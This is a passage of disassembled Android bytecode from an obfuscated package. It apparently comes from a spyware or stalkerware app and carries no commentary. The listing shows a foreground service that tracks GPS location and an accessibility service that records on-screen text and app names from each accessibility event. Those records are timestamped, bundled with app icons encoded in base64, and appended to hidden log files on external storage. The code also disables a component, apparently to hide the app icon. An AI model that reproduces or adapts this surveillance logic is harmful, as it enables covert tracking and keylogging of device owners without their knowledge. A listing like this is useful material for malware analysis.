    000832c2iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000832c6const-string v6, "gps"
    000832caiget-wide v7, v12, Lcmf0/c3b5bm90zq/patch/C15;->b:J
    000832ceiget-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->c:J
    000832d2long-to-float v9, v9
    000832d4iget-object v10, v12, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    000832d8goto :goto_179
    000832damove-exception v4
    000832dcnew-instance v5, Ljava/lang/StringBuilder;
    000832e0invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    000832e6sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000832eainvoke-static {v6, v7, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000832f0move-result-object v2
    000832f2invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000832f8sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000832fcinvoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083302sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083306invoke-static {v2, v3, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008330cmove-result-object v0
    0008330einvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083314sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083318invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008331einvoke-virtual {v4}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    00083324move-result-object v0
    00083326invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008332csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083330invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083336const-string v0, "null"
    0008333ainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083340sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083344invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008334aconst-string v0, "null"
    0008334einvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083354sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083358invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008335econst-string v0, "null"
    00083362invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083368invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008336emove-result-object v0
    00083370invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00083376const-wide/16 v0, 0x0
    0008337aiput-wide v0, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    0008337eiput-wide v0, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00083382return-void
    00082fb4
    00083384
    00083384 struct try_item
    00083384 start_addr uint32 0x82fcc
    00083388 insn_count int 390
    0008338a handler_off uint16 0x8338d
    0008338c
    0008338c struct encoded_catch_handler_list
    0008338c size int 1
    0008338d
    0008338d struct encoded_catch_handler ← 0x8338a
    0008338d size int64 1
    0008338e handlers[0].type_idx int 0x5994
    00083390 handlers[0].addr uint32 0x832da
    00083392
    00083392 // align 0x4
    00083394
    00083394cmf0.c3b5bm90zq.patch.C15::a(cmf0.c3b5bm90zq.patch.C15, boolean):
    000833a4iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C15;->j:Z
    000833a8return v1
    00083394
    000833aa
    000833aa // align 0x4
    000833ac
    000833accmf0.c3b5bm90zq.patch.C15::b(cmf0.c3b5bm90zq.patch.C15):
    000833bciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    000833c0return-wide v0
    000833ac
    000833c2
    000833c2 // align 0x4
    000833c4
    000833c4cmf0.c3b5bm90zq.patch.C15::b(cmf0.c3b5bm90zq.patch.C15, double):
    000833d4iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    000833d8return-wide v1
    000833c4
    000833da
    000833da // align 0x4
    000833dc
    000833dccmf0.c3b5bm90zq.patch.C15::b(cmf0.c3b5bm90zq.patch.C15, java.lang.String):
    000833eciput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C15;->i:Ljava/lang/String;
    000833f0return-object v1
    000833dc
    000833f2
    000833f2 // align 0x4
    000833f4
    000833f4cmf0.c3b5bm90zq.patch.C15::c(cmf0.c3b5bm90zq.patch.C15):
    00083404iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C15;->h:Ljava/lang/String;
    00083408return-object v0
    000833f4
    0008340a
    0008340a // align 0x4
    0008340c
    0008340ccmf0.c3b5bm90zq.patch.C15::d(cmf0.c3b5bm90zq.patch.C15):
    0008341ciget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C15;->i:Ljava/lang/String;
    00083420return-object v0
    0008340c
    00083422
    00083422 // align 0x4
    00083424
    00083424cmf0.c3b5bm90zq.patch.C15::e(cmf0.c3b5bm90zq.patch.C15):
    00083434iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    00083438return-object v0
    00083424
    0008343a
    0008343a // align 0x4
    0008343c
    0008343ccmf0.c3b5bm90zq.patch.C15::f(cmf0.c3b5bm90zq.patch.C15):
    0008344ciget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    00083450return-object v0
    0008343c
    00083452
    00083452 // align 0x4
    00083454
    00083454cmf0.c3b5bm90zq.patch.C15::g(cmf0.c3b5bm90zq.patch.C15):
    00083464iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->b:J
    00083468return-wide v0
    00083454
    0008346a
    0008346a // align 0x4
    0008346c
    0008346ccmf0.c3b5bm90zq.patch.C15::h(cmf0.c3b5bm90zq.patch.C15):
    0008347ciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->c:J
    00083480return-wide v0
    0008346c
    00083482
    00083482 // align 0x4
    00083484
    00083484cmf0.c3b5bm90zq.patch.C15::onBind(android.content.Intent):
    00083494const/4 v1, 0x0
    00083496return-object v1
    00083484
    00083498
    00083498cmf0.c3b5bm90zq.patch.C15::onCreate():
    000834a8invoke-super {v2}, Landroid/app/Service;->onCreate()V
    000834aeinvoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    000834b4move-result-object v0
    000834b6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/a;->f(Landroid/content/Context;)Landroid/app/Notification;
    000834bcmove-result-object v0
    000834beif-eqz v0, :cond_12
    000834c2const/16 v1, 0x7d5
    000834c6invoke-virtual {v2, v1, v0}, Lcmf0/c3b5bm90zq/patch/C15;->startForeground(ILandroid/app/Notification;)V
    000834ccinvoke-direct {v2}, Lcmf0/c3b5bm90zq/patch/C15;->a()V
    000834d2return-void
    00083498
    000834d4
    000834d4 struct try_item
    000834d4 start_addr uint32 0x834ae
    000834d8 insn_count int 15
    000834da handler_off uint16 0x834dd
    000834dc
    000834dc struct encoded_catch_handler_list
    000834dc size int 1
    000834dd
    000834dd struct encoded_catch_handler ← 0x834da
    000834dd size int64 1
    000834de handlers[0].type_idx int 0x5994
    000834e0 handlers[0].addr uint32 0x834cc
    000834e1
    000834e1 // align 0x4
    000834e4
    000834e4cmf0.c3b5bm90zq.patch.C15::onDestroy():
    000834f4iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000834f8iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    000834fcinvoke-virtual {v0, v1}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
    00083502invoke-super {v2}, Landroid/app/Service;->onDestroy()V
    00083508return-void
    000834e4
    0008350a
    0008350a struct code_item_padding
    0008350a padding uint16 0x0000
    0008350c
    0008350c struct try_item
    0008350c start_addr uint32 0x834f4
    00083510 insn_count int 7
    00083512 handler_off uint16 0x83515
    00083514
    00083514 struct encoded_catch_handler_list
    00083514 size int 1
    00083515
    00083515 struct encoded_catch_handler ← 0x83512
    00083515 size int64 1
    00083516 handlers[0].type_idx int 0x5994
    00083518 handlers[0].addr uint32 0x83502
    00083519
    00083519 // align 0x4
    0008351c
    0008351ccmf0.c3b5bm90zq.patch.C1::<init>():
    0008352cinvoke-direct {v1}, Landroid/accessibilityservice/AccessibilityService;-><init>()V
    00083532const-string v0, ""
    00083536iput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C1;->b:Ljava/lang/String;
    0008353areturn-void
    0008351c
    0008353c
    0008353ccmf0.c3b5bm90zq.patch.C1::a(android.view.accessibility.AccessibilityEvent):
    0008354cinvoke-virtual {v1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
    00083552move-result-object v1
    00083554invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
    0008355amove-result-object v1
    0008355creturn-object v1
    0008353c
    0008355e
    0008355e // align 0x10
    00083560
    00083560cmf0.c3b5bm90zq.patch.C1::a(java.lang.String):
    00083570new-instance v0, Ljava/text/SimpleDateFormat;
    00083574const-string v1, "dd-MM-yyyy"
    00083578sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
    0008357cinvoke-direct {v0, v1, v2}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
    00083582new-instance v1, Ljava/util/Date;
    00083586invoke-direct {v1}, Ljava/util/Date;-><init>()V
    0008358cinvoke-virtual {v0, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
    00083592move-result-object v0
    00083594invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    0008359amove-result-object v1
    0008359cinvoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    000835a2move-result-object v1
    000835a4const v2, 0x7f0c0026
    000835aainvoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000835b0move-result-object v1
    000835b2new-instance v2, Ljava/lang/StringBuilder;
    000835b6invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    000835bcinvoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
    000835c2move-result-object v3
    000835c4invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
    000835camove-result-object v3
    000835ccinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000835d2const-string v3, "/"
    000835d6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000835dcinvoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
    000835e2move-result-object v1
    000835e4invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000835eainvoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000835f0move-result-object v1
    000835f2new-instance v2, Ljava/io/File;
    000835f6invoke-direct {v2, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    000835fcinvoke-virtual {v2}, Ljava/io/File;->exists()Z
    00083602move-result v1
    00083604if-nez v1, :cond_4d
    00083608return-void
    0008360anew-instance v1, Ljava/io/FileWriter;
    0008360enew-instance v3, Ljava/lang/StringBuilder;
    00083612invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00083618invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
    0008361emove-result-object v2
    00083620invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083626const-string v2, "/config"
    0008362ainvoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083630invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083636const-string v0, ".log"
    0008363ainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083640invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083646move-result-object v0
    00083648const/4 v2, 0x1
    0008364ainvoke-direct {v1, v0, v2}, Ljava/io/FileWriter;-><init>(Ljava/lang/String;Z)V
    00083650invoke-virtual {v1, v5}, Ljava/io/FileWriter;->write(Ljava/lang/String;)V
    00083656invoke-virtual {v1}, Ljava/io/FileWriter;->close()V
    0008365creturn-void
    00083560
    0008365e
    0008365e struct code_item_padding
    0008365e padding uint16 0x0000
    00083660
    00083660 struct try_item
    00083660 start_addr uint32 0x83570
    00083664 insn_count int 118
    00083666 handler_off uint16 0x83669
    00083668
    00083668 struct encoded_catch_handler_list
    00083668 size int 1
    00083669
    00083669 struct encoded_catch_handler ← 0x83666
    00083669 size int64 1
    0008366a handlers[0].type_idx int 0x5940
    0008366c handlers[0].addr uint32 0x8365c
    0008366d
    0008366d // align 0x10
    00083670
    00083670cmf0.c3b5bm90zq.patch.C1::a(android.content.Context, java.lang.String):
    00083680const/4 v0, 0x0
    00083682invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083688move-result-object v1
    0008368ainvoke-virtual {v1, v2, v0}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
    00083690const/4 v1, 0x1
    00083692return v1
    00083694return v0
    00083670
    00083696
    00083696 struct code_item_padding
    00083696 padding uint16 0x0000
    00083698
    00083698 struct try_item
    00083698 start_addr uint32 0x83682
    0008369c insn_count int 7
    0008369e handler_off uint16 0x836a1
    000836a0
    000836a0 struct encoded_catch_handler_list
    000836a0 size int 1
    000836a1
    000836a1 struct encoded_catch_handler ← 0x8369e
    000836a1 size int64 1
    000836a2 handlers[0].type_idx int 0x4c90
    000836a3 handlers[0].addr uint32 0x83694
    000836a4
    000836a4cmf0.c3b5bm90zq.patch.C1::b():
    000836b4invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getResources()Landroid/content/res/Resources;
    000836bamove-result-object v0
    000836bcconst v1, 0x7f0c0021
    000836c2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000836c8move-result-object v0
    000836caconst/4 v1, 0x3
    000836ccinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    000836d2move-result v1
    000836d4const/4 v2, 0x0
    000836d6const/16 v3, 0x31
    000836daconst/4 v4, 0x1
    000836dcif-ne v1, v3, :cond_2c
    000836e0new-instance v1, Lcmf0/c3b5bm90zq/patch/c;
    000836e4invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000836eamove-result-object v5
    000836ecinvoke-direct {v1, v5}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    000836f2iput-object v1, v6, Lcmf0/c3b5bm90zq/patch/C1;->a:Lcmf0/c3b5bm90zq/patch/c;
    000836f6iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C1;->a:Lcmf0/c3b5bm90zq/patch/c;
    000836fainvoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    00083700move-result v1
    00083702if-eqz v1, :cond_2a
    00083706goto :goto_2c
    00083708const/4 v1, 0x0
    0008370agoto :goto_2d
    0008370cconst/4 v1, 0x1
    0008370einvoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
    00083714move-result v5
    00083716if-ne v5, v3, :cond_3a
    0008371asget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    0008371eif-ne v5, v4, :cond_38
    00083722goto :goto_3a
    00083724const/4 v5, 0x0
    00083726goto :goto_3b
    00083728const/4 v5, 0x1
    0008372aif-ne v1, v4, :cond_68
    0008372eif-ne v5, v4, :cond_68
    00083732invoke-virtual {v0, v2}, Ljava/lang/String;->charAt(I)C
    00083738move-result v0
    0008373aif-ne v0, v3, :cond_65
    0008373einvoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    00083744move-result-object v0
    00083746invoke-virtual {v0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    0008374cmove-result-object v0
    0008374econst/high16 v1, 0x7f0c0000
    00083752invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083758move-result-object v0
    0008375aconst-string v1, ".."
    0008375einvoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083764move-result v1
    00083766if-nez v1, :cond_68
    0008376ainvoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    00083770move-result-object v1
    00083772invoke-static {v1, v0}, Lcmf0/c3b5bm90zq/patch/C1;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00083778move-result v0
    0008377aif-ne v0, v4, :cond_68
    0008377einvoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C1;->a()V
    00083784return-void
    000836a4
    00083786
    00083786 // align 0x8
    00083788
    00083788cmf0.c3b5bm90zq.patch.C1::a():
    00083798invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getResources()Landroid/content/res/Resources;
    0008379emove-result-object v0
    000837a0const v1, 0x7f0c0021
    000837a6invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000837acmove-result-object v0
    000837aeconst/4 v1, 0x0
    000837b0invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    000837b6move-result v0
    000837b8const/16 v1, 0x31
    000837bcif-ne v0, v1, :cond_2e
    000837c0invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getPackageManager()Landroid/content/pm/PackageManager;
    000837c6move-result-object v0
    000837c8new-instance v1, Landroid/content/ComponentName;
    000837ccinvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000837d2move-result-object v2
    000837d4const-class v3, Lcmf0/c3b5bm90zq/patch/C7;
    000837d8invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000837deinvoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    000837e4move-result v2
    000837e6const/4 v3, 0x2
    000837e8if-eq v2, v3, :cond_2e
    000837ecconst/4 v2, 0x1
    000837eeinvoke-virtual {v0, v1, v3, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    000837f4return-void
    00083788
    000837f6
    000837f6 struct code_item_padding
    000837f6 padding uint16 0x0000
    000837f8
    000837f8 struct try_item
    000837f8 start_addr uint32 0x83798
    000837fc insn_count int 46
    000837fe handler_off uint16 0x83801
    00083800
    00083800 struct encoded_catch_handler_list
    00083800 size int 1
    00083801
    00083801 struct encoded_catch_handler ← 0x837fe
    00083801 size int64 1
    00083802 handlers[0].type_idx int 0x5994
    00083804 handlers[0].addr uint32 0x837f4
    00083805
    00083805 // align 0x8
    00083808
    00083808cmf0.c3b5bm90zq.patch.C1::onAccessibilityEvent(android.view.accessibility.AccessibilityEvent):
    00083818invoke-direct {v13, v14}, Lcmf0/c3b5bm90zq/patch/C1;->a(Landroid/view/accessibility/AccessibilityEvent;)Ljava/lang/String;
    0008381emove-result-object v0
    00083820invoke-virtual {v14}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
    00083826move-result-object v14
    00083828check-cast v14, Ljava/lang/String;
    0008382cnew-instance v1, Ljava/lang/StringBuilder;
    00083830invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00083836const-string v2, "["
    0008383ainvoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00083840move-result v2
    00083842const-string v3, "]"
    00083846invoke-virtual {v0, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
    0008384cmove-result v3
    0008384eand-int/2addr v2, v3
    00083850const/4 v3, 0x1
    00083852if-eqz v2, :cond_28
    00083856invoke-virtual {v0}, Ljava/lang/String;->length()I
    0008385cmove-result v2
    0008385esub-int/2addr v2, v3
    00083860invoke-virtual {v0, v3, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
    00083866move-result-object v0
    00083868iget-object v2, v13, Lcmf0/c3b5bm90zq/patch/C1;->b:Ljava/lang/String;
    0008386cinvoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083872move-result v2
    00083874if-eqz v2, :cond_31
    00083878return-void
    0008387aiput-object v0, v13, Lcmf0/c3b5bm90zq/patch/C1;->b:Ljava/lang/String;
    0008387eif-eqz v14, :cond_1bd
    00083882invoke-virtual {v0}, Ljava/lang/String;->length()I
    00083888move-result v2
    0008388aif-eqz v2, :cond_1bd
    0008388enew-instance v2, Ljava/text/SimpleDateFormat;
    00083892const-string v4, "HH:mm a"
    00083896sget-object v5, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
    0008389ainvoke-direct {v2, v4, v5}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
    000838a0new-instance v4, Ljava/util/Date;
    000838a4invoke-direct {v4}, Ljava/util/Date;-><init>()V
    000838aainvoke-virtual {v2, v4}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
    000838b0move-result-object v2
    000838b2invoke-virtual {v13}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000838b8move-result-object v4
    000838bainvoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    000838c0move-result-object v4
    000838c2const v5, 0x7f0c0021
    000838c8invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000838cemove-result-object v4
    000838d0new-instance v5, Ljava/lang/String;
    000838d4const-string v6, "-1"
    000838d8invoke-direct {v5, v6}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
    000838deconst/4 v6, 0x2
    000838e0invoke-virtual {v4, v6}, Ljava/lang/String;->charAt(I)C
    000838e6move-result v4
    000838e8const/16 v7, 0x30
    000838ecif-ne v4, v7, :cond_ef
    000838f0invoke-virtual {v13}, Lcmf0/c3b5bm90zq/patch/C1;->getApplicationContext()Landroid/content/Context;
    000838f6move-result-object v4
    000838f8invoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    000838femove-result-object v4
    00083900invoke-virtual {v4, v14}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00083906move-result-object v7
    00083908if-eqz v7, :cond_ef
    0008390cinvoke-virtual {v4, v14}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00083912move-result-object v7
    00083914const-string v8, ""
    00083918invoke-virtual {v7, v8}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
    0008391emove-result v7
    00083920if-nez v7, :cond_ef
    00083924invoke-virtual {v4, v14}, Landroid/content/pm/PackageManager;->getApplicationIcon(Ljava/lang/String;)Landroid/graphics/drawable/Drawable;
    0008392amove-result-object v4
    0008392cinstance-of v7, v4, Landroid/graphics/drawable/BitmapDrawable;
    00083930const/16 v8, 0x32
    00083934const/16 v9, 0x18
    00083938if-eqz v7, :cond_b2
    0008393cif-eqz v4, :cond_ef
    00083940check-cast v4, Landroid/graphics/drawable/BitmapDrawable;
    00083944invoke-virtual {v4}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
    0008394amove-result-object v4
    0008394cinvoke-static {v4, v9, v9, v3}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    00083952move-result-object v4
    00083954new-instance v5, Ljava/io/ByteArrayOutputStream;
    00083958invoke-direct {v5}, Ljava/io/ByteArrayOutputStream;-><init>()V
    0008395esget-object v7, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
    00083962invoke-virtual {v4, v7, v8, v5}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    00083968invoke-virtual {v5}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    0008396emove-result-object v4
    00083970invoke-static {v4, v6}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    00083976move-result-object v4
    00083978move-object v5, v4
    0008397agoto :goto_ef
    0008397cinvoke-virtual {v4}, Landroid/graphics/drawable/Drawable;->getIntrinsicWidth()I
    00083982move-result v5
    00083984invoke-virtual {v4}, Landroid/graphics/drawable/Drawable;->getIntrinsicHeight()I
    0008398amove-result v7
    0008398csget-object v10, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config;
    00083990invoke-static {v5, v7, v10}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    00083996move-result-object v5
    00083998new-instance v7, Landroid/graphics/Canvas;
    0008399cinvoke-direct {v7, v5}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000839a2invoke-virtual {v7}, Landroid/graphics/Canvas;->getWidth()I
    000839a8move-result v10
    000839aainvoke-virtual {v7}, Landroid/graphics/Canvas;->getHeight()I
    000839b0move-result v11
    000839b2const/4 v12, 0x0
    000839b4invoke-virtual {v4, v12, v12, v10, v11}, Landroid/graphics/drawable/Drawable;->setBounds(IIII)V
    000839bainvoke-virtual {v4, v7}, Landroid/graphics/drawable/Drawable;->draw(Landroid/graphics/Canvas;)V
    000839c0invoke-static {v5, v9, v9, v3}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    000839c6move-result-object v4
    000839c8if-eq v5, v4, :cond_dd
    000839ccinvoke-virtual {v5}, Landroid/graphics/Bitmap;->recycle()V
    000839d2new-instance v5, Ljava/io/ByteArrayOutputStream;
    000839d6invoke-direct {v5}, Ljava/io/ByteArrayOutputStream;-><init>()V
    000839dcsget-object v7, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
    000839e0invoke-virtual {v4, v7, v8, v5}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    000839e6invoke-virtual {v5}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000839ecmove-result-object v4
    000839eeinvoke-static {v4, v6}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    000839f4move-result-object v5
    000839f6if-eqz v14, :cond_1bd
    000839faif-eqz v0, :cond_1bd
    000839feif-eqz v2, :cond_1bd
    00083a02sget-boolean v4, Lcmf0/c3b5bm90zq/patch/C11;->A:Z
    00083a06if-ne v4, v3, :cond_140
    00083a0anew-instance v3, Ljava/lang/StringBuilder;
    00083a0einvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00083a14sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083a18const-wide/16 v8, 0x32
    00083a1cinvoke-static {v6, v7, v8, v9}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083a22move-result-object v4
    00083a24invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a2asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083a2einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a34sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083a38const-wide/16 v8, 0x73
    00083a3cinvoke-static {v6, v7, v8, v9}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083a42move-result-object v4
    00083a44invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a4asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083a4einvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083a54invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
